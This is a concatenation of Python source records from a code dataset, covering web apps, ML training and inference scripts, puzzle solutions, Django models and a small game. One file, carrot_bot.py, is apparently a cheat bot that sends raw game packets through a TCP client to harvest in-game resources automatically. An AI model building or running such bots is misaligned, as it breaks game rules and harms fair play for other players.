imageDict=imageList[group_1_count],\n imageDict2=imageList[group_1_count+1],\n imageDict3=imageList[group_1_count+2],\n imageDict4=imageList[group_1_count+3],\n imageDict5=imageList[group_1_count+4],\n imageDict6=imageList[group_1_count+5],\n imageDict7=imageList[group_1_count+6],\n imageDict8=imageList[group_1_count+7],\n imageDict9=imageList[group_1_count+8],\n imageDict10=imageList[group_1_count+9],\n imageDict11=imageList[group_1_count+10],\n imageDict12=imageList[group_1_count+11],\n imageDict13=imageList[group_1_count+12],\n imageDict14=imageList[group_1_count+13],\n imageDict15=imageList[group_1_count+14],\n imageDict16=imageList[group_1_count+15],\n imageDict17=imageList[group_1_count+16],\n imageDict18=imageList[group_1_count+17],\n imageDict19=imageList[group_1_count+18],\n imageDict20=imageList[group_1_count+19],\n imageDict21=imageList[group_1_count+20],\n imageDict22=imageList[group_1_count+21],\n imageDict23=imageList[group_1_count+22],\n imageDict24=imageList[group_1_count+23],\n imageDict25=imageList[group_1_count+24],\n imageDict26=imageList[group_1_count+25],\n imageDict27=imageList[group_1_count+26],\n imageDict28=imageList[group_1_count+27],\n imageDict29=imageList[group_1_count+28],\n imageDict30=imageList[group_1_count+29],\n imageDict31=imageList[group_1_count+30],\n imageDict32=imageList[group_1_count+31],\n imageDict33=imageList[group_1_count+32],\n imageDict34=imageList[group_1_count+33],\n imageDict35=imageList[group_1_count+34],\n imageDict36=imageList[group_1_count+35],\n imageDict37=imageList[group_1_count+36],\n imageDict38=imageList[group_1_count+37],\n imageDict39=imageList[group_1_count+38],\n imageDict40=imageList[group_1_count+39],\n imageDict41=imageList[group_1_count+40],\n imageDict42=imageList[group_1_count+41],\n imageDict43=imageList[group_1_count+42],\n imageDict44=imageList[group_1_count+43],\n imageDict45=imageList[group_1_count+44],\n imageDict46=imageList[group_1_count+45],\n imageDict47=imageList[group_1_count+46],\n imageDict48=imageList[group_1_count+47],\n options=GROUP_1)\nif __name__ == '__main__':\n\tapp.debug = True\n\tapp.run(host = 'localhost', port = 5000)","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"614476912","text":"import os\nimport sys\nfrom dataclasses import dataclass\nfrom random import randint\nfrom threading import Thread\nfrom time import sleep, time\nfrom typing import List\nimport logging\n\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\nfrom utils import TCPClient\n\n\nlogging.basicConfig(level=logging.INFO)\n\nNPC_TYPE = 2\n\n# packets\nMINE_PACKET = 'npc_req 2 {id}'\nNCIF_PACKET = 'ncif 2 {id}'\n\n\n# settings\nNPC_ID = 2365 # npc to collect\nMINING_TIME = 7 # how long it takes to collect one thing in seconds\nMINING_TIMEOUT = 45 # time to wait between collecting the same thing\nCOLLECT_RANGE = 7 # collect range ;)\n\n# globals\nnpcs = {} # carrots currently on map\nplayer_position = (-1, -1)\n\n\n@dataclass\nclass NPC:\n x: int\n y: int\n id: int\n last_mine: int # time in seconds\n\n @classmethod\n def from_packet(cls, packet: List[str]):\n return cls(int(packet[5]),int(packet[6]), int(packet[4]), 0)\n\n def mine(self, client: TCPClient):\n client.send(NCIF_PACKET.format(id=self.id))\n client.send(MINE_PACKET.format(id=self.id))\n\n for _ in range(MINING_TIME):\n sleep(1)\n client.send(NCIF_PACKET.format(id=self.id))\n self.last_mine = time() + randint(3, 10)\n\n def in_range(self):\n return ((self.x - player_position[0]) ** 2 + (self.y - player_position[1]) ** 2) ** 1/2 <= COLLECT_RANGE\n\n def can_collect(self):\n return self.last_mine + MINING_TIMEOUT < time()\n\n\ndef sent_packets_logger(packet: List[str]):\n if packet[0] == '1':\n logging.debug(f'Send: {\" \".join(packet[1:])}')\n\n\ndef npc_handler(packet: List[str]):\n if len(packet) < 2 or packet[0] != '0' or packet[1] != 'in':\n return\n if int(packet[2]) != NPC_TYPE or int(packet[3]) != NPC_ID:\n return\n npc = NPC.from_packet(packet)\n logging.info(f'Found npc with id: {npc.id} on position ({npc.x}, {npc.y})')\n npcs[npc.id] = npc\n\n\ndef map_change_handler(packet: List[str]):\n if len(packet) < 2 or packet[0] != '0' or packet[1] != 'c_map':\n return\n logging.info('Map has been changed.')\n npcs.clear()\n\n\ndef position_handler(packet: List[str]):\n if len(packet) < 2 or packet[1] != 'walk':\n return\n global player_position\n player_position = int(packet[2]), int(packet[3])\n\n\ndef init_handlers(client: TCPClient):\n for handler in [npc_handler, map_change_handler, position_handler, sent_packets_logger]:\n client.add_callback(handler)\n\n\ndef mine(client: TCPClient):\n while True:\n if not npcs:\n logging.error('No npc\\'s on map.')\n return\n\n for npc in npcs.values():\n if npc.in_range() and npc.can_collect():\n logging.info(f'Mining npc with id: {npc.id}')\n npc.mine(client)\n sleep(1)\n\n\ndef main():\n port = sys.argv[1:]\n if not port or not port[0].isdigit():\n logging.error('Port was not specified or is written in wrong format.')\n return -1\n\n port = int(port[0])\n client = TCPClient(port)\n init_handlers(client)\n client.serve()\n\n input('Start/Stop on enter..')\n thread = Thread(target=mine, args=[client])\n thread.daemon = True\n thread.start()\n logging.info('Bot is running..')\n input()\n return 0\n\n\nif __name__ == '__main__':\n exit(main())","sub_path":"examples/carrot_bot.py","file_name":"carrot_bot.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"346755231","text":"# Inspired from Karpathy's 2d toy example on neural nets\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nplt.rcParams['figure.figsize'] = (10.0, 8.0) # set default size of plots\nplt.rcParams['image.interpolation'] = 'nearest'\nplt.rcParams['image.cmap'] = 'gray'\n\ndef get_data(N=100,K=3,s=0.3):\n\t\"\"\"\n\tInput:\n\t\tN: Number of data points per class\n\t\tK: Number of classes\n\t\ts: A parameter for randomness. Keep it less than 0.5.\n\tOutput:\n\t\tX,y: 2-Dimensional 3-class Data along with labels\n\t\"\"\"\n\tnp.random.seed(0)\n\tN = 100 # number of points per class\n\tD = 2 # dimensionality\n\tK = 3 # number of classes\n\n\tX = np.zeros((N*K,D))\n\ty = np.zeros(N*K, dtype='uint8')\n\n\tfor j in xrange(K):\n\t\tix = range(N*j,N*(j+1))\n\t\tr = np.linspace(0.0,1,N) # radius\n\t\tt = np.linspace(j*4,(j+1)*4,N) + np.random.randn(N)*s # theta\n\t\tX[ix] = np.c_[r*np.sin(t), r*np.cos(t)]\n\t\ty[ix] = j\n\t#fig = plt.figure()\n\t#plt.scatter(X[:, 0], X[:, 1], c=y, s=40, cmap=plt.cm.Spectral)\n\t#plt.xlim([-1,1])\n\t#plt.ylim([-1,1])\n\t#plt.show()\n\treturn X,y","sub_path":"data_kdag/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"238202168","text":"import numpy as np\nimport os \nimport argparse\nimport sys\nfrom ksnn.api import KSNN\nfrom ksnn.types import *\nimport cv2 as cv\nimport time\n\ndef show_top5(outputs):\n\toutput = outputs[0].reshape(-1)\n\toutput_sorted = sorted(output, reverse=True)\n\ttop5_str = '----Xception----\\n-----TOP 5-----\\n'\n\tfor i in range(5):\n\t\tvalue = output_sorted[i]\n\t\tindex = np.where(output == value)\n\t\tfor j in range(len(index)):\n\t\t\tif (i + j) >= 5:\n\t\t\t\tbreak\n\t\t\tif value > 0:\n\t\t\t\ttopi = '{}: {}\\n'.format(index[j], value)\n\t\t\telse:\n\t\t\t\ttopi = '-1: 0.0\\n'\n\t\t\ttop5_str += topi\n\tprint(top5_str)\n\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--nb-file\", help=\"path to nb file\")\n\tparser.add_argument(\"--so-lib\", help=\"path to so lib\")\n\tparser.add_argument(\"--input-picture\", help=\"path to input picture\")\n\targs = parser.parse_args()\n\tif args.nb_file :\n\t\tif os.path.exists(args.nb_file) == False:\n\t\t\tsys.exit('nb file \\'' + args.nb_file + '\\' not exist')\n\t\tnbfile = args.nb_file\n\telse :\n\t\tsys.exit(\"nb file not found !!! Please specify argument: --nb-file /path/to/nb-file\")\n\tif args.input_picture :\n\t\tif os.path.exists(args.input_picture) == False:\n\t\t\tsys.exit('input picture \\'' + args.input_picture + '\\' not exist')\n\t\tinputpicturepath = bytes(args.input_picture,encoding='utf-8')\n\telse :\n\t\tsys.exit(\"input picture not found !!! Please specify argument: --input-picture /path/to/picture\")\n\tif args.so_lib :\n\t\tif os.path.exists(args.so_lib) == False:\n\t\t\tsys.exit('so lib \\'' + args.so_lib + '\\' not exist')\n\t\tsolib = args.so_lib\n\telse :\n\t\tsys.exit(\"so lib not found !!! Please specify argument: --so-lib /path/to/lib\")\n\n\txception = KSNN('VIM3')\n\tprint(' |---+ KSNN Version: {} +---| '.format(xception.get_nn_version()))\n\n\tprint('Start init neural network ...')\n\txception.nn_init(c_lib_p = solib, nb_p = nbfile)\n\tprint('Done.')\n\n\tprint('Get input data ...')\n\timg = cv.imread( args.input_picture, cv.IMREAD_COLOR )\n\tprint('Done')\n\n\tprint('Start inference ...')\n\tstart = time.time()\n\toutputs = xception.nn_inference(img, platform = 'KERAS', reorder='0 1 2', out_format=out_format.OUT_FORMAT_FLOAT32)\n\tend = time.time()\n\tprint('Done. inference time: ', end - start)\n\n\tshow_top5(outputs)\n\n\n","sub_path":"keras/xception.py","file_name":"xception.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"114451898","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution(object):\n def removeNthFromEnd(self, head, n):\n \"\"\"\n :type head: ListNode\n :type n: int\n :rtype: ListNode\n \"\"\"\n if(head == None):\n return head\n \n dummyNode = ListNode(-1, head)\n current = dummyNode\n nthNode = dummyNode\n \n for x in range(0, n):\n nthNode = nthNode.next\n \n while(nthNode.next != None):\n current = current.next\n nthNode = nthNode.next\n \n current.next = current.next.next\n \n return dummyNode.next\n","sub_path":"remove nth node.py","file_name":"remove nth node.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"128924357","text":"from keras.models import load_model\nfrom tensorflow import set_random_seed\nimport pandas as pd\n\nfrom sklearn import metrics\n\nmodel = load_model(\"trained_model.h5\")\n\neval_df = pd.read_csv(\"eval_dense_dataset.csv\")\n\neval_x, eval_y = eval_df.values[:,:-1], eval_df.values[:,-1]\n\ny_probs = model.predict(eval_x)\ny_hat = (y_probs > 0.5).astype(int)\ny_val = eval_y\n\nprint(\"f1-score: \", metrics.f1_score(y_val, y_hat))\nprint(\"acc-score: \", metrics.accuracy_score(y_val, y_hat))\n\nfpr, tpr, thresholds = metrics.roc_curve(y_val, y_probs)\nprint(\"auc-score: \", metrics.auc(fpr, tpr))\n\nprint(\"balanced-accuracy-score: \", metrics.balanced_accuracy_score(y_val, y_hat))\nprint(\"\\nConfusion Matrix:\")\nprint(metrics.confusion_matrix(y_val, y_hat))\n","sub_path":"mtbi.model_evaluate.dense.py","file_name":"mtbi.model_evaluate.dense.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"506433110","text":"from flask import Flask, Response\nimport requests\nimport os\nfrom bs4 import BeautifulSoup\n\napp = Flask(__name__)\n\n\ndef get_fact():\n response = requests.get(\"http://unkno.com/\")\n\n soup = BeautifulSoup(response.content, \"html.parser\")\n return soup.find(\"div\", id=\"content\").getText().strip()\n\n\ndef latinize(text):\n payload = {'input_text': text}\n response = requests.post('https://hidden-journey-62459.herokuapp.com/piglatinize/',\n data=payload)\n\n return response.url\n\n\n@app.route('/')\ndef home():\n fact = get_fact()\n address = latinize(fact)\n html = f'{address}'\n return Response(html, mimetype=\"text/html\")\n\n\nif __name__ == '__main__':\n port = os.environ.get(\"PORT\", 8080)\n app.run(host='0.0.0.0', port=port)\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"565144170","text":"\nimport math\n\nclass Node:\n def __init__(self, val, left = None, right = None):\n self.val = val\n self.left = left\n self.right = right\n\ndef is_bst(node):\n if node == None:\n return True, None, None\n if node.left == None and node.right == None:\n return True, node.val, node.val\n \n isbst = False\n leftisbst, leftmin, leftmax = is_bst(node.left)\n rightisbst, rightmin, rightmax = is_bst(node.right)\n\n if not leftisbst and rightisbst:\n return False, 0, 0\n if leftmax != None and leftmax > node.val:\n return False, 0, 0\n if rightmin != None and rightmin < node.val:\n return False, 0, 0\n \n if leftmin == None:\n leftmin = node.val\n if rightmax == None:\n rightmax = node.val\n\n return True, leftmin, rightmax\n\n\n\ndef minimal_tree(values):\n num_values = len(values)\n if num_values == 0:\n return None\n if num_values == 1:\n return Node(values[0])\n\n min_height = int(math.ceil(math.log2(num_values + 1)))\n mid = 2 ** (min_height - 1) - 1\n left = minimal_tree(values[:mid])\n right = minimal_tree(values[mid+1:])\n return Node(values[mid], left, right)\n\nprint(is_bst(minimal_tree(range(20))))\nprint(is_bst(minimal_tree(range(20)[::-1])))","sub_path":"graphs/q5.py","file_name":"q5.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"193831757","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass Item(models.Model):\n\n\titem_id = models.AutoField(primary_key=True)\n\n\tdef __unicode__(self):\n\t\treturn unicode(\"Item: {0}\".format(self.item_id))\n\n\nclass Ownership(models.Model):\n\titem = models.ForeignKey(Item, verbose_name='item owned')\n\tuser = models.ForeignKey(User, verbose_name='user which owns item')\n\tdate_added = models.DateField()\n\tquantity = models.IntegerField(default=1)\n\n\tclass Meta:\n\t\tunique_together = ('item', 'user')\n\t\tordering = ['user', 'date_added']\n\n\tdef __unicode__(self):\n\t\tstr = unicode(\"{0} - {1}\".format(self.item, self.user))\n\t\treturn str\n\nclass CommonItemData(models.Model):\n\titem = models.ForeignKey(Item, verbose_name='item identification')\n\tyear = models.IntegerField()\n\tmore_info = models.CharField(max_length=100)\n\ttitle = models.CharField(max_length=100)\n\tcover_art = models.CharField(max_length=100)\n\n\tclass Meta:\n\t\tabstract = True\n\n\nclass Movie(CommonItemData):\n\n\tMOVIE_FORMAT_CHOICES = (\n\t\t('DVD', 'Digital Versatile Disc'),\n\t\t('BD', 'BluRay Disc'),\n\t\t('LD', 'LaserDisc'),\n\t)\n\n\tdirector = models.CharField(max_length=100)\n\tformat = models.CharField(max_length=5, choices=MOVIE_FORMAT_CHOICES)\n\n\tclass Meta:\n\t\tordering = ['title', 'year']\n\n\tdef __unicode__(self):\n\t\treturn unicode(\"{0} ({1}, {2})\".format(self.title, self.year, self.format))\n\nclass Music(CommonItemData):\n\n\tMUSIC_FORMAT_CHOICES = (\n\t\t('CD', 'Compact Disc'),\n\t\t('MC', 'Music Casette'),\n\t\t('DVD-A', 'Digital Versatile Disc Audio'),\n\t\t('LP', 'Long Playing Record'),\n\t\t('EP', 'Extended Play Record'),\n\t)\n\n\tartist = models.CharField(max_length=100)\n\tformat = models.CharField(max_length=5, choices=MUSIC_FORMAT_CHOICES)\n\n\tclass Meta:\n\t\tordering = ['artist', 'year', 'title']\n\n\t\n\tdef __unicode__(self):\n\t\treturn unicode(\"{0} - {1} ({2}, {3})\".format(self.artist, self.title, self.year, self.format))\n\nclass Book(CommonItemData):\n\tauthor = models.CharField(max_length=100)\n\n\tclass Meta:\n\t\tordering = ['author', 'year', 'title']\n\n\tdef __unicode__(self):\n\t\tstr = unicode(\"{0} - {1}\".format(self.author, self.title))\n\t\treturn str;\n","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"312305908","text":"import random\n\nlist = ['rock', 'paper', 'scissor']\nscore = 0\nfor x in range(1, 100):\n print(\"\\n Rock\\n Paper\\n Scissor\")\n temp = str(input(\"Choose one of the above: \"))\n competitor = random.choice(list)\n print(temp, \"Vs\", competitor)\n if temp.upper() == competitor.upper():\n score += 0\n print(\"Draw! You get 0 point\")\n elif (temp.upper() == \"ROCK\" and competitor == \"paper\") or (\n temp.upper() == \"PAPER\" and competitor == \"scissor\") or temp.upper() == \"SCISSOR\" and competitor == \"rock\":\n score -= 1\n print(\"Lose! You get -1 point\")\n elif (temp.upper() == \"PAPER\" and competitor == \"rock\") or (\n temp.upper() == \"SCISSOR\" and competitor == \"paper\") or temp.upper() == \"ROCK\" and competitor == \"scissor\":\n score += 10\n print(\"Win! You get +10 point\")\n else:\n print(\"Please input the proper type!\")\n print(\"YOUR SCORE: \", score)\n play_again = str(input(\"\\nPlay Again?y/n: \"))\n print(\"##############################\")\n if play_again == 'y':\n continue\n else:\n print(\"See you later!\")\n break","sub_path":"Shiraz/random_number.py","file_name":"random_number.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"107539945","text":"\n\n#calss header\nclass _COP():\n\tdef __init__(self,): \n\t\tself.name = \"COP\"\n\t\tself.definitions = [u'a police officer : ', u'not very good: ', u\"\\u2192\\xa0 it's a fair cop \"]\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_cop.py","file_name":"_cop.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"503336785","text":"import pathlib\nimport subprocess\nimport time\nimport datetime\n\nimport numpy as np\nimport pandas as pd\n\nimport mxnet as mx\nfrom mxnet import nd, gluon, autograd\nfrom mxnet.gluon import nn\nfrom mxnet.gluon.contrib.estimator import estimator\nfrom mxnet.gluon.contrib.estimator.event_handler import (TrainEnd, EpochEnd, \n CheckpointHandler)\n\n\ndef mlp(layers, bn=False, act='relu'):\n net = nn.HybridSequential()\n with net.name_scope():\n net.add(nn.Flatten())\n for l in layers:\n net.add(nn.Dense(l, activation=act))\n if bn:\n net.add(nn.BatchNorm())\n net.add(nn.Dense(10))\n return net\n \ndef data_preprocess(setting):\n \n fashion_mnist_train = gluon.data.vision.FashionMNIST(train=True)\n fashion_mnist_val = gluon.data.vision.FashionMNIST(train=False)\n \n transforms = [gluon.data.vision.transforms.Resize(64), \n gluon.data.vision.transforms.ToTensor()]\n\n transforms = gluon.data.vision.transforms.Compose(transforms)\n \n fashion_mnist_train = fashion_mnist_train.transform_first(transforms)\n fashion_mnist_val = fashion_mnist_val.transform_first(transforms)\n \n batch_size = setting['batch_size']\n\n train_data_loader = gluon.data.DataLoader(fashion_mnist_train, batch_size=batch_size, \n shuffle=True, num_workers=4)\n val_data_loader = gluon.data.DataLoader(fashion_mnist_val, batch_size=batch_size, \n shuffle=False, num_workers=4)\n \n return train_data_loader, val_data_loader\n\ndef train(train_dl, test_dl, exp, setting, tags=[]):\n\n num_epochs = setting['epochs']\n opt = setting['opt']\n \n # gpu setting\n gpu_count = setting['gpu_count']\n ctx = [mx.gpu(i) for i in range(gpu_count)] if gpu_count > 0 else mx.cpu()\n \n net = mlp(**setting['model_params'])\n \n net.initialize(init=mx.init.Xavier(), ctx=ctx, force_reinit=True)\n net.hybridize(static_alloc=True, static_shape=True)\n \n trainer = gluon.Trainer(net.collect_params(), \n opt, setting['opt_params'])\n \n # metrics\n train_acc = mx.metric.Accuracy()\n loss_fn = gluon.loss.SoftmaxCrossEntropyLoss()\n \n est = estimator.Estimator(net=net, \n loss=loss_fn, \n metrics=train_acc, \n trainer=trainer, \n context=ctx)\n \n # loggingの開始\n run = exp.start_logging()\n \n try:\n # tagをつける\n for t in tags:\n run.tag(t)\n \n # settingを保存\n log_dict(run, setting)\n\n # モデルを保存するcallback\n # クラウド上に保存するので/tmpでOK\n checkpoint_handler = CheckpointHandler(model_dir='/tmp',\n model_prefix='model',\n monitor=train_acc,\n save_best=True,\n max_checkpoints=0)\n \n # runを利用してAML上にlogging\n record_handler = AMLRecordHandler(run)\n\n # ignore warnings for nightly test on CI only\n import warnings\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n\n est.fit(train_data=train_dl, val_data=test_dl,\n epochs=num_epochs, event_handlers=[checkpoint_handler, record_handler])\n \n \n # モデルをアップロード\n run.upload_file(name='model-best.params', path_or_stream = '/tmp/model-best.params')\n \n # statusをcompleteにする\n run.complete()\n \n except Exception as e:\n # statusをfailにする\n run.fail(e)\n raise ValueError('error occured: {}'.format(e))\n \n\ndef log_dict(run, params):\n \"\"\"dict形式の変数をパラメータとして上げる\n \"\"\"\n for k,v in params.items():\n if isinstance(v, dict):\n log_dict(run, v)\n else:\n run.log(k, str(v))\n \n \n \n \nclass AMLRecordHandler(TrainEnd, EpochEnd):\n \"\"\"loss, metricの値をエポックごとに記録しpickleファイルとして吐き出すHandler\n \n pickle file: \n {'train loss': [0.9, 0.8, ...], 'train acc': [...], ...}\n \"\"\"\n def __init__(self, run):\n super(AMLRecordHandler, self).__init__()\n self.run = run\n \n def epoch_end(self, estimator, *args, **kwargs):\n for metric in estimator.train_metrics:\n name, val = metric.get()\n # 記録\n self.run.log(name, val)\n \n for metric in estimator.val_metrics:\n name, val = metric.get()\n # 記録\n self.run.log(name, val)\n ","sub_path":"utils/train_module_aml.py","file_name":"train_module_aml.py","file_ext":"py","file_size_in_byte":4915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"167481068","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n################################################################################\n# Logotheras Copyright (C) 2012 Suizokukan\n# Contact: suizokukan _A.T._ orange dot fr\n#\n# This file is part of Logotheras.\n# Logotheras is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Logotheras is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Logotheras. If not, see .\n################################################################################\n\"\"\"\n ❏Logotheras❏ : logotheras/data/data.py\n\n * LogotherasData class\n\"\"\"\n\nimport logotheras.options\nfrom logotheras.data.informationsdata import InformationsData\nfrom logotheras.errors.errors import LogotherasError\nfrom collections import OrderedDict\nfrom logotheras.constants import NOTALEXICAL_ARTINAME\nfrom logotheras.system.logger import LOGGER\n\n################################################################################\nclass LogotherasData(OrderedDict):\n \"\"\"\n class LogotherasData\n\n A LogotherasData is a dict :\n artiname :: Article object\n\n .tobeduplicated_articles\n .informations (InformationsData object)\n .keys_in_alphabetical_order (initialized by Logotheras.setAlphabeticalOrder)\n \"\"\"\n\n #///////////////////////////////////////////////////////////////////////////\n def __init__(self, errors):\n \"\"\"\n LogotherasData.__init__()\n ________________________________________________________________\n \n PARAMETER :\n o errors : a logotheras.data.errors.Errors object\n \"\"\"\n OrderedDict.__init__(self)\n\n self.errors = errors\n\n self.reset(reset_all = True)\n\n #///////////////////////////////////////////////////////////////////////////\n def deleteEOF(self, line):\n \"\"\"\n LogotherasData.deleteEOF\n\n Delete the possible end of line characters at the end of .\n Return the modified string or the string itself if there were\n nothing to do.\n\n End of lines supported : \\r\\n and \\n and \\r .\n \"\"\"\n\n if len(line)>2 and line[-2:] == '\\r\\n':\n return line[:-2]\n\n elif len(line)>1 and line[-1:] == '\\n':\n return line[:-1]\n\n elif len(line)>1 and line[-1:] == '\\r':\n return line[:-1]\n\n else:\n return line\n\n #///////////////////////////////////////////////////////////////////////////\n def getArticles(self, in_alphabetical_order = False):\n \"\"\"\n LogotherasData.getArticles()\n ________________________________________________________________\n\n PARAMETERS :\n\n in_alphabetical_order : (bool) if False, follow the order\n of ; if True, follow the order\n of \n ________________________________________________________________\n\n RETURNED VALUE :\n\n (generator) return (articledata,)\n \"\"\"\n if not in_alphabetical_order:\n for article_artiname in self:\n self.errors.debug(\"(LogotherasData.getArticles) \" \\\n \"yield the '{0}' article\".format(article_artiname))\n yield self[article_artiname]\n\n else:\n for article_artiname in self.keys_in_alphabetical_order:\n self.errors.debug(\"(LogotherasData.getArticles) \" \\\n \"yield the '{0}' article\".format(article_artiname))\n yield self[article_artiname]\n\n #///////////////////////////////////////////////////////////////////////////\n def getArticlesGroupedBy(self, method, length, srclanguage):\n \"\"\"\n LogotherasData.getArticlesGroupedBy()\n ________________________________________________________________\n\n PARAMETERS :\n\n o method : (str) either 'initial' either 'articles' number'\n o length : (int)\n o srclanguage : (str)\n ________________________________________________________________\n\n RETURNED VALUE :\n\n * If method is \"initial\", return a list of articles' name having\n the same initial on letters + the initial : (name, initial)\n * If method is \"articles' number\", return a list of articles' name\n so that each value has a number of items equal to , except\n for the last returned value.\n \"\"\"\n if method == \"initial\":\n\n res = []\n initial = None # initialized with a string after the first passage\n # through the loop.\n\n for articledata in self.getArticles(in_alphabetical_order = True):\n\n if self.is_the_article_sufficiently_important(articledata):\n \n if initial is None or \\\n not srclanguage.wordsHavingIdenticalInitials( initial,\n articledata.headerdata.sortingname,\n length ):\n\n # we return if it's not the first passage through the loop :\n if initial is not None:\n self.errors.debug(\"(LogotherasData.getArticlesGroupedBy)(a1) \" \\\n \"yield {0}+{1}\".format(res, initial))\n yield (res, initial)\n\n initial = articledata.headerdata.sortingname[:length]\n article_number = 0\n res = []\n\n res.append( articledata.headerdata.artiname )\n\n # we return the last bunch of data :\n self.errors.debug(\"(LogotherasData.getArticlesGroupedBy)(a2) \" \\\n \"yield {0}+{1}\".format(res, initial))\n yield (res, initial)\n\n elif method == \"articles' number\":\n\n article_number = 0\n res = []\n\n for articledata in self.getArticles(in_alphabetical_order = True):\n\n if self.is_the_article_sufficiently_important(articledata):\n\n if article_number >= length:\n self.errors.debug(\"(LogotherasData.getArticlesGroupedBy)(b1) \" \\\n \"yield {0}\".format(res))\n yield res\n\n article_number = 0\n res = []\n\n res.append( articledata.headerdata.artiname )\n article_number += 1\n\n # we return the last bunch of data :\n self.errors.debug(\"(LogotherasData.getArticlesGroupedBy)(b2) \" \\\n \"yield {0}\".format(res))\n yield res\n\n else:\n context = \"LogotherasData.getArticlesGroupedBy\"\n message = \"unknown argument's value method='{0}'.\"\n\n raise LogotherasError(context, message.format(method))\n\n #///////////////////////////////////////////////////////////////////////////\n def getEntries(self, entrydata_only = False):\n \"\"\"\n LogotherasData.getEntries\n\n (generator) return (article_artiname, entrydata) (entrydata_only:False)\n return (entrydata) (entrydata_only:True)\n \"\"\"\n for article_artiname in self:\n\n for entry_title in self[article_artiname].bodydata:\n\n if entrydata_only:\n yield self[article_artiname].bodydata[entry_title]\n else:\n yield (article_artiname,\n self[article_artiname].bodydata[entry_title])\n\n #///////////////////////////////////////////////////////////////////////////\n def getExtracts(self, existing_workreferencedata = False, extractdata_only = False):\n \"\"\"\n LogotherasData.getExtracts\n\n (generator)\n return (article_artiname, entry_title, extractdata) (extractdata_only:False)\n return extractdata (extractdata_only:True)\n\n existing_workreferencedata : (bool) True if the function only returns\n extracts whose workreferencedata is not\n None.\n\n extractdata_only : (bool) see the return value above\n \"\"\"\n for article_artiname in self:\n\n for entry_title in self[article_artiname].bodydata:\n\n entry = self[article_artiname].bodydata[entry_title]\n\n for extractdata in entry:\n\n if (existing_workreferencedata and \\\n extractdata.workreferencedata is not None) or \\\n not existing_workreferencedata:\n\n if extractdata_only:\n yield extractdata\n else:\n yield (article_artiname,\n entry_title,\n extractdata)\n\n #///////////////////////////////////////////////////////////////////////////\n def get_names_and_sortingnames(self,\n return_notalexicalartiname = False):\n \"\"\"\n LogotherasData.get_names_and_sortingnames\n\n PARAMETER :\n\n o do_not_return_notalexicalartiname : (bool)\n\n If set to False, artiname marked by the NOTALEXICAL_ARTINAME\n symbol are not returned (since they have not to be sorted).\n\n RETURN VALUE :\n\n Yield (artiname, sortingname)\n \"\"\"\n for artiname in self:\n\n if return_notalexicalartiname or \\\n NOTALEXICAL_ARTINAME not in artiname:\n\n sortingname = self[artiname].headerdata.sortingname\n\n yield artiname, sortingname\n\n #///////////////////////////////////////////////////////////////////////////\n def is_the_article_sufficiently_important(self, articledata):\n \"\"\"\n LogotherasData.is_the_article_sufficiently_important()\n\n Return True if the article is sufficiently important to be added.\n \"\"\"\n (from_a_tobeduplicated_entry, \\\n important_from_a_tobeduplicated_entry) = articledata.from_a_tobeduplicated_entry\n\n option_dup = logotheras.options.OPTIONS[\"rst::add the to-be-duplicated entries\"]\n\n if from_a_tobeduplicated_entry and \\\n (option_dup == \"none\" or \\\n (option_dup == \"important only\" and not important_from_a_tobeduplicated_entry)\n ):\n\n # nothing to do : we won't write this article.\n return False\n\n return True\n \n #///////////////////////////////////////////////////////////////////////////\n def reset(self, reset_all = False):\n \"\"\"\n LogotherasData.reset\n \"\"\"\n self.clear()\n\n # initialized by Logotheras.initToBeDuplicatedArticles()\n # see this function to get the details of the content of self.tobeduplicated_articles .\n self.tobeduplicated_articles = []\n\n self.keys_in_alphabetical_order = []\n\n if reset_all:\n self.informations = 